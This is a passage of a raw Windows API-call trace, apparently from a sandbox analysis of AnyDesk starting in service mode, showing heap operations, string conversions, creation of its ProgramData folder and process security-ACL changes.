0x3bf028 [0189.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fca40, cbMultiByte=-1, lpWideCharStr=0x3bf028, cchWideChar=5 | out: lpWideCharStr="OS: ") returned 5 [0189.744] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0x3be180 [0189.744] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xcc) returned 0x3bf848 [0189.745] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf788 | out: hHeap=0x3b0000) returned 1 [0189.745] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3be180 | out: hHeap=0x3b0000) returned 1 [0189.745] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf028 | out: hHeap=0x3b0000) returned 1 [0189.745] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd690 | out: hHeap=0x3b0000) returned 1 [0189.745] GetLastError () returned 0x47e [0189.745] SetLastError (dwErrCode=0x47e) [0189.745] GetLastError () returned 0x47e [0189.745] SetLastError (dwErrCode=0x47e) [0189.745] GetLastError () returned 0x47e [0189.745] SetLastError (dwErrCode=0x47e) [0189.745] GetLastError () returned 0x47e [0189.745] SetLastError (dwErrCode=0x47e) [0189.745] GetLastError () returned 0x47e [0189.745] SetLastError (dwErrCode=0x47e) [0189.745] GetLastError () returned 0x47e [0189.746] SetLastError (dwErrCode=0x47e) [0189.746] GetLastError () returned 0x47e [0189.746] SetLastError (dwErrCode=0x47e) [0189.746] GetLastError () returned 0x47e [0189.746] SetLastError (dwErrCode=0x47e) [0189.746] GetLastError () returned 0x47e [0189.746] SetLastError (dwErrCode=0x47e) [0189.746] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x325cbc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0189.746] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0x3be180 [0189.746] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x325cbc, cbMultiByte=-1, lpWideCharStr=0x3be180, cchWideChar=14 | out: lpWideCharStr=", Mode: gsvc\n") returned 14 [0189.746] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe6) returned 0x3bf920 [0189.746] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf848 | out: hHeap=0x3b0000) returned 1 [0189.746] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3be180 | out: hHeap=0x3b0000) returned 1 [0189.746] SHGetFolderPathW (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x326134 | out: pszPath="C:\\ProgramData") returned 0x0 [0189.753] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3be180 [0189.753] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3b0be8 | out: hHeap=0x3b0000) returned 1 [0189.754] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3b0bd8 | out: hHeap=0x3b0000) returned 1 [0189.754] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3be1a8 [0189.754] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3be1d0 [0189.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15daca8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0189.754] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bf028 [0189.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15daca8, cbMultiByte=-1, lpWideCharStr=0x3bf028, cchWideChar=8 | out: lpWideCharStr="AnyDesk") returned 8 [0189.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0189.754] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0x3bf350 [0189.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x3bf350, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0189.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0189.754] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0x3bf360 [0189.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x3bf360, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0189.754] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf360 | out: hHeap=0x3b0000) returned 1 [0189.754] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0x3bf360 [0189.754] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf350 | out: hHeap=0x3b0000) returned 1 [0189.754] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0x3bf350 [0189.754] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3b0bf8 | out: hHeap=0x3b0000) returned 1 [0189.754] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf360 | out: hHeap=0x3b0000) returned 1 [0189.754] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf028 | out: hHeap=0x3b0000) returned 1 [0189.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15daca8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0189.754] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bf028 [0189.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15daca8, cbMultiByte=-1, lpWideCharStr=0x3bf028, cchWideChar=8 | out: lpWideCharStr="AnyDesk") returned 8 [0189.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0189.754] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0x3bf360 [0189.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x3bf360, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0189.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0189.754] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0x3bf370 [0189.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x3bf370, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0189.754] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf370 | out: hHeap=0x3b0000) returned 1 [0189.754] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0x3bf370 [0189.755] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf360 | out: hHeap=0x3b0000) returned 1 [0189.755] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0189.755] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0x3bf360 [0189.755] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad60, cbMultiByte=-1, lpWideCharStr=0x3bf360, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0189.755] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0189.755] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0x3bf380 [0189.755] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad60, cbMultiByte=-1, lpWideCharStr=0x3bf380, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0189.755] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3b0bd8 [0189.755] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf380 | out: hHeap=0x3b0000) returned 1 [0189.755] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0x3bf788 [0189.755] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3b0bd8 | out: hHeap=0x3b0000) returned 1 [0189.755] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf360 | out: hHeap=0x3b0000) returned 1 [0189.755] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3be180 | out: hHeap=0x3b0000) returned 1 [0189.755] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf370 | out: hHeap=0x3b0000) returned 1 [0189.755] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf028 | out: hHeap=0x3b0000) returned 1 [0189.755] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15daca8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0189.755] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bf028 [0189.755] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15daca8, cbMultiByte=-1, lpWideCharStr=0x3bf028, cchWideChar=8 | out: lpWideCharStr="AnyDesk") returned 8 [0189.755] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0189.755] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0x3bf370 [0189.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x3bf370, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0189.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0189.756] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0x3bf360 [0189.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x3bf360, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0189.756] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf360 | out: hHeap=0x3b0000) returned 1 [0189.756] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0x3bf360 [0189.756] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf370 | out: hHeap=0x3b0000) returned 1 [0189.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0189.756] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0x3bf370 [0189.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad60, cbMultiByte=-1, lpWideCharStr=0x3bf370, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0189.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0189.756] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0x3bf380 [0189.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad60, cbMultiByte=-1, lpWideCharStr=0x3bf380, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0189.756] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3be180 [0189.756] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf380 | out: hHeap=0x3b0000) returned 1 [0189.756] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0x3bf7c0 [0189.756] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3be180 | out: hHeap=0x3b0000) returned 1 [0189.756] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf370 | out: hHeap=0x3b0000) returned 1 [0189.756] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3be1a8 | out: hHeap=0x3b0000) returned 1 [0189.756] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf360 | out: hHeap=0x3b0000) returned 1 [0189.756] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf028 | out: hHeap=0x3b0000) returned 1 [0189.756] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3b0bd8 [0189.756] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3be1d0 | out: hHeap=0x3b0000) returned 1 [0189.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15daca8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0189.756] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bf028 [0189.757] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15daca8, cbMultiByte=-1, lpWideCharStr=0x3bf028, cchWideChar=8 | out: lpWideCharStr="AnyDesk") returned 8 [0189.757] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0189.757] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0x3bf360 [0189.757] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x3bf360, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0189.757] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0189.757] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0x3bf370 [0189.757] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x3bf370, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0189.757] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf370 | out: hHeap=0x3b0000) returned 1 [0189.757] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0x3bf370 [0189.757] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf360 | out: hHeap=0x3b0000) returned 1 [0189.757] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0189.757] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0x3bf360 [0189.757] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad60, cbMultiByte=-1, lpWideCharStr=0x3bf360, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0189.757] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0189.757] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0x3bf380 [0189.757] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad60, cbMultiByte=-1, lpWideCharStr=0x3bf380, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0189.757] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3be180 [0189.757] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf380 | out: hHeap=0x3b0000) returned 1 [0189.757] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0x3be1a8 [0189.757] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3be180 | out: hHeap=0x3b0000) returned 1 [0189.757] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf360 | out: hHeap=0x3b0000) returned 1 [0189.757] CreateDirectoryW (lpPathName="C:\\ProgramData\\AnyDesk" (normalized: "c:\\programdata\\anydesk"), lpSecurityAttributes=0x0) returned 0 [0189.758] GetLastError () returned 0xb7 [0189.758] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3be1a8 | out: hHeap=0x3b0000) returned 1 [0189.758] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf370 | out: hHeap=0x3b0000) returned 1 [0189.758] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf028 | out: hHeap=0x3b0000) returned 1 [0189.758] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3b0bd8 | out: hHeap=0x3b0000) returned 1 [0189.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0189.758] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0x3bf370 [0189.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x3bf370, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0189.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fa604, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0189.758] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0x3bf028 [0189.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fa604, cbMultiByte=-1, lpWideCharStr=0x3bf028, cchWideChar=7 | out: lpWideCharStr=".trace") returned 7 [0189.758] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x12) returned 0x3bd690 [0189.758] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf028 | out: hHeap=0x3b0000) returned 1 [0189.758] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf370 | out: hHeap=0x3b0000) returned 1 [0189.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0189.758] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0x3bf370 [0189.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x3bf370, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0189.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c1144, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0189.758] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x16) returned 0x3bd6b0 [0189.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c1144, cbMultiByte=-1, lpWideCharStr=0x3bd6b0, cchWideChar=11 | out: lpWideCharStr="_svc.trace") returned 11 [0189.759] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0x3b0bd8 [0189.759] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd6b0 | out: hHeap=0x3b0000) returned 1 [0189.759] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd690 | out: hHeap=0x3b0000) returned 1 [0189.759] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf370 | out: hHeap=0x3b0000) returned 1 [0189.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0189.759] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0x3bf370 [0189.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad60, cbMultiByte=-1, lpWideCharStr=0x3bf370, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0189.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0189.759] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0x3bf360 [0189.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad60, cbMultiByte=-1, lpWideCharStr=0x3bf360, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0189.759] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0x3be180 [0189.759] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf360 | out: hHeap=0x3b0000) returned 1 [0189.759] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x48) returned 0x3be1b8 [0189.759] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3be180 | out: hHeap=0x3b0000) returned 1 [0189.759] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf370 | out: hHeap=0x3b0000) returned 1 [0189.759] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x48) returned 0x3bf7f8 [0189.759] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3b0db0 | out: hHeap=0x3b0000) returned 1 [0189.759] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x48) returned 0x3bf848 [0189.760] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf7f8 | out: hHeap=0x3b0000) returned 1 [0189.760] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3be1b8 | out: hHeap=0x3b0000) returned 1 [0189.760] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xd0) returned 0x3bfa10 [0189.760] GetCurrentThreadId () returned 0x998 [0189.760] GetCurrentProcess () returned 0xffffffff [0189.760] GetSecurityInfo () returned 0x0 [0189.767] LocalAlloc (uFlags=0x0, uBytes=0x44) returned 0x5a8810 [0189.767] CreateWellKnownSid (in: WellKnownSidType=0x1, DomainSid=0x0, pSid=0x5a8810, cbSid=0x326344 | out: pSid=0x5a8810*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), cbSid=0x326344) returned 1 [0189.767] BuildTrusteeWithSidA () returned 0x32633c [0189.767] SetEntriesInAclW () returned 0x0 [0189.767] LocalFree (hMem=0x5a8810) returned 0x0 [0189.767] SetSecurityInfo () returned 0x0 [0189.767] LocalFree (hMem=0x5b9bb8) returned 0x0 [0189.768] LocalFree (hMem=0x5b9698) returned 0x0 [0189.768] GetCurrentProcess () returned 0xffffffff [0189.768] GetSecurityInfo () returned 0x0 [0189.768] LocalAlloc (uFlags=0x0, uBytes=0x44) returned 0x5a8810 [0189.768] CreateWellKnownSid (in: WellKnownSidType=0x1, DomainSid=0x0, pSid=0x5a8810, cbSid=0x326344 | out: pSid=0x5a8810*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), cbSid=0x326344) returned 1 [0189.768] BuildTrusteeWithSidA () returned 0x32633c [0189.768] SetEntriesInAclW () returned 0x0 [0189.768] LocalFree (hMem=0x5a8810) returned 0x0 [0189.768] SetSecurityInfo () returned 0x0 [0189.768] LocalFree (hMem=0x5b9bb8) returned 0x0 [0189.768] LocalFree (hMem=0x5b9698) returned 0x0 [0189.769] GetCurrentProcess () returned 0xffffffff [0189.769] GetSecurityInfo () returned 0x0 [0189.769] LocalAlloc (uFlags=0x0, uBytes=0x44) returned 0x5a8810 [0189.769] CreateWellKnownSid (in: WellKnownSidType=0x1, DomainSid=0x0, pSid=0x5a8810, cbSid=0x326344 | out: pSid=0x5a8810*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), cbSid=0x326344) returned 1 [0189.769] BuildTrusteeWithSidA () returned 0x32633c [0189.769] SetEntriesInAclW () returned 0x0 [0189.769] LocalFree (hMem=0x5a8810) returned 0x0 [0189.769] SetSecurityInfo () returned 0x0 [0189.769] LocalFree (hMem=0x5b9bb8) returned 0x0 [0189.769] LocalFree (hMem=0x5b9698) returned 0x0 [0189.769] GetCurrentProcess () returned 0xffffffff [0189.769] GetSecurityInfo () returned 0x0 [0189.769] LocalAlloc (uFlags=0x0, uBytes=0x44) returned 0x5a8810 [0189.769] CreateWellKnownSid (in: WellKnownSidType=0x1a, DomainSid=0x0, pSid=0x5a8810, cbSid=0x326344 | out: pSid=0x5a8810*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), cbSid=0x326344) returned 1 [0189.769] BuildTrusteeWithSidA () returned 0x32633c [0189.769] SetEntriesInAclW () returned 0x0 [0189.770] LocalFree (hMem=0x5a8810) returned 0x0 [0189.770] SetSecurityInfo () returned 0x0 [0189.770] LocalFree (hMem=0x5b9bb8) returned 0x0 [0189.770] LocalFree (hMem=0x5b9698) returned 0x0 [0189.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0189.770] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0x3bf370 [0189.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x3bf370, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0189.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0189.770] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0x3bf360 [0189.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x3bf360, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0189.770] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf360 | out: hHeap=0x3b0000) returned 1 [0189.770] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf370 | out: 